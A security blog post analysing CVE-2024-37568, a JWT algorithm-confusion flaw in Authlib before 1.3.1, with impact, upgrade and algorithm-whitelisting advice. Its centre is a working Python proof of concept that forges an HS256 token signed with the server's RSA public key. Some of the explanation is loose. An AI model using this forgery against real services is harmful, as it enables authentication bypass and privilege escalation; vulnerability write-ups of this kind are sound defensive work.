CVE-2024-37568: Authlib Algorithm Confusion Vulnerability

2024-08-16
James McGill
CVE-2024-37568
CVE-2024-37568 Exploit
CVE-2024-37568 Hack
Authlib vulnerability
Authlib security flaw
JWT vulnerability
Exploit JWT
Algorithm confusion vulnerability
Python OAuth library
Exploit python OAuth library
HMAC verification
Authlib security
CVE-2024-37568: Authlib Algorithm Confusion Vulnerability

Introduction

CVE-2024-37568 is a critical vulnerability discovered in Authlib, a popular Python library for OAuth and OpenID Connect implementations. The issue stems from an algorithm confusion error when handling asymmetric public keys in JSON Web Tokens (JWT). This blog post provides a technical deep dive into the vulnerability, its potential impact, and mitigation strategies.

Vulnerability Details

Authlib, prior to version 1.3.1, exhibited a critical flaw in its JWT decoding process. Specifically, when decoding a JWT without explicitly specifying an algorithm, the library erroneously allowed HMAC verification using an asymmetric public key. This misconfiguration undermines the fundamental security principles of asymmetric cryptography, where public keys are intended for encryption and verification using corresponding private keys.

The root cause of the vulnerability lies in the library's lax validation of JWT headers. By omitting the required 'alg' claim or providing an invalid value, an attacker could manipulate the JWT structure to bypass the intended asymmetric signature verification. This oversight enabled an attacker to forge JWTs using HMAC signatures, circumventing the robust security mechanisms of asymmetric cryptography.

Technical Analysis

To comprehend the vulnerability in detail, it's essential to understand the JWT structure and the cryptographic principles involved.

A JWT consists of three parts separated by dots:

  • Header: Contains metadata about the token, including the signing algorithm.

  • Payload: Encodes the claims or data to be transmitted.

  • Signature: A cryptographic hash of the header and payload, signed with a secret key.

In a typical asymmetric key setup, the JWT header specifies the 'alg' claim as 'RS256' (or a similar RSA-based algorithm). The signature is then generated using the private key and verified using the corresponding public key.

CVE-2024-37568 arises when the 'alg' claim is missing or incorrect. In such cases, Authlib incorrectly defaults to HMAC verification, allowing an attacker to forge a JWT using a shared secret key, even though the public key is present.

Proof of Concept

To go through a typical proof of concept for this CVE-2024-37568, we will need to perform the exploit in 3 steps i.e. Key Pair Generation, Token Forgery and Server Deception (the final trick). But first make sure that we have the vulnerable version of "authlib" installed on our system.

Now, we can use this simple script to perform a PoC exploit:

from authlib.jose import jwt
from Crypto.PublicKey import RSA
from Crypto.Hash import HMAC, SHA256
import base64

# ----- KEY PAIR CREATION -----

# Generate an RSA key pair to simulate a typical cryptographic setup
# The private key should ideally remain secret and is used for signing data
private_key = RSA.generate(2048)

# Public key that is distributed or exposed in some way
# In certain scenarios, this key can be derived from signatures
public_key = private_key.publickey().export_key(format='PEM')

# Ensure the setup is functioning as expected
private_pem = private_key.export_key(format='PEM')
generated_token = jwt.encode({"alg": "RS256"}, {"secure": False}, private_pem)
decoded_claims = jwt.decode(generated_token, public_key)
assert not decoded_claims["secure"]

# ----- MALICIOUS TOKEN GENERATION -----

# Simulating an attack where a valid token is created without needing the private key
# This should not be possible in a secure JWT implementation
# Helper function to encode data in URL-safe Base64 format
encode_base64 = lambda data: base64.urlsafe_b64encode(data).rstrip(b'=')

# Build the token header and payload, tricking the system into using HS256 instead of
RS256
header = encode_base64(b'{"alg":"HS256"}')
payload = encode_base64(b'{"secure":true}')
unsigned_token = header + b'.' + payload

# Create a fake signature using the public key, exploiting the algorithm confusion
hmac_signature = HMAC.new(public_key, digestmod=SHA256)
hmac_signature.update(unsigned_token)
signature = encode_base64(hmac_signature.digest())

# The manipulated token that should be rejected by the server but won't be
forged_token = unsigned_token + b'.' + signature
print("FORGED TOKEN:", forged_token)

# ----- SERVER TOKEN HANDLING -----

# The server tries to validate the incoming token, but due to the algorithm flaw, it gets tricked
# The verification process incorrectly accepts the manipulated token
verified_data = jwt.decode(forged_token, public_key)

if verified_data["secure"]:
    print("EXPLOIT SUCCESSFUL")

We can understand this in three steps:

  • Key Pair Generation:

    • The script begins by generating an RSA key pair, with the private key intended for signing and the public key for verification. This mirrors a typical cryptographic setup.

  • Token Forgery:

    • Normally, JWTs signed with RS256 (an asymmetric algorithm) should only be verified using the corresponding public key.

    • However, the attacker manipulates the JWT header to specify HS256 (a symmetric algorithm) instead. HS256 expects the same key to be used for both signing and verification.

    • The attacker then misuses the public key as if it were a shared secret, creating a signature using HMAC with SHA256.

  • Server Deception:

    • The server, when presented with this forged token, naively trusts the alg field in the token header.

    • It attempts to verify the token using the public key, which, due to the algorithm confusion, matches the fake signature.

    • The server fails to recognize that the token was not signed with the private key, leading to unauthorized access or other malicious actions, as indicated by the "EXPLOIT SUCCESSFUL" message.

Impact

The consequences of exploiting CVE-2024-37568 are severe. Successful exploitation can lead to a range of security breaches, including:

  • Token Forgery: Adversaries can craft arbitrary JWTs with valid signatures, gaining unauthorized access to protected resources.

  • Privilege Escalation: Malicious actors can elevate their privileges within the system by forging tokens with higher permissions.

  • Security Bypass: The vulnerability can be leveraged to bypass authentication and authorization mechanisms, compromising system integrity.

  • Data Exposure: Sensitive information contained within JWT payloads could be accessed or modified without authorization.

Mitigation

To address CVE-2024-37568, it is imperative to upgrade Authlib to version 1.3.1 or later. This update incorporates robust fixes to prevent algorithm confusion and ensure correct JWT validation.

Additionally, consider implementing the following security best practices:

  • Strict Input Validation: Validate all JWT components, including the 'alg' claim, to prevent unexpected behavior.

  • Algorithm Whitelisting: Restrict allowed algorithms to mitigate the risk of unknown or weak algorithms.

  • Key Management: Employ secure key management practices to protect private keys.

  • Regular Updates: Keep Authlib and other dependencies up-to-date with the latest security patches.

Conclusion

CVE-2024-37568 underscores the critical importance of rigorous code review and security testing in cryptographic libraries. By understanding the technical details of the vulnerability and implementing recommended mitigations, organizations can significantly enhance the security of their applications and protect sensitive data.

Disclaimer

The information presented in this blog post is for educational purposes only. It is intended to raise awareness about the CVE-2024-37568 vulnerability and help mitigate the risks. It is not intended to be used for malicious purposes.

It's crucial to understand that messing around with vulnerabilities in live systems without permission is not just against the law, but it also comes with serious risks. This blog post does not support or encourage any activities that could help with such unauthorized actions.

CVE-2024-48914: Arbitrary File Read Vulnerability in Vendure
CVE-2024-48914: Arbitrary File Read Vulnerability in Vendure
2024-10-26
Kamran Hasan
CVE-2022-44268: Arbitrary File Disclosure in ImageMagick
CVE-2022-44268: Arbitrary File Disclosure in ImageMagick
2024-05-26
James McGill
CVE-2021-43798: Path Traversal in Grafana
CVE-2021-43798: Path Traversal in Grafana
2024-03-30
James McGill
CVE-2021-3129: Remote Code Execution in Laravel
CVE-2021-3129: Remote Code Execution in Laravel
2024-02-14
James McGill
CVE-2024-28116: Server-Side Template Injection in Grav CMS
CVE-2024-28116: Server-Side Template Injection in Grav CMS
2024-03-24
James McGill
CVE-2022-42889: Remote Code Execution in Apache Commons Text
CVE-2022-42889: Remote Code Execution in Apache Commons Text
2024-01-13
James McGill